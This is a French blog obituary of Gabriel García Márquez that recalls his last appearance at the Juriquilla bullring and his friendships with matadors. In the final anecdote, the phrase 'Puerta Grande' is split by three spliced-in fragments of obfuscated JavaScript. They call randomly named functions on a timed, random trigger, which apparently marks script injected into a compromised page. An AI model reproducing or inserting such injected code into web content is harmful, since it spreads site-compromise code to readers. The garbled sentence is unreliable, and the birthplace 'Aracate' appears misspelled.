UN GEANT EST TOMBE

Sa dernière apparition publique date du 8 février dernier dans les arènes de Juriquilla, celles-là même où José Tomás faisait sa réapparition il y a quelques jours. Gabriel García Márquez, écrivain de premier plan né à Aracate en Colombie, Prix Nobel de Littérature en 1982, y assistait donc en février au mano a mano entre El Juli et Joselito Adame et fut honoré d’un brindis par le maestro madrilène.

Ce monument de la littérature s’est éteint peu de temps après, le 17 avril exactement, dans la ville de México où il résidait avec sa femme Mercedes Barcha, l’amour de sa vie, épousée en 1958.

« Gabo », comme l’appelaient ses intimes dont la matador Antonio Borrero Morano, « Chamaco », rencontré dès 1967 à Barcelone alors qu’il y était correspondant de presse, restera comme l’inoubliable auteur de joyaux de la littérature comme « Cent ans de solitude », « Chronique d’une mort annoncée » ou « Le général dans son labyrinthe ».

Ce que l’on sait moins, c’est qu’il fut un aficionado passionné, ami de nombreux toreros dont entre autres César Rincón ou Eulalio López El Zotoluco, qui ne ratait jamais l’occasion de voir une corrida, que ce soit à Huelva à l’invitation de Chamaco, ou à Madrid à celle des frères Lozano pour la San Isidro de 1996 au cours de laquelle Joselito lui brinda un toro auquel il a coupé les deux oreilles, ce qui lui valut de sortir a hombros pour la dernière Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande de sa carrière.

Ce que l’on doit savoir en tout cas, c’est qu’avec le décès de Gabriel García Márquez, un géant est tombé.

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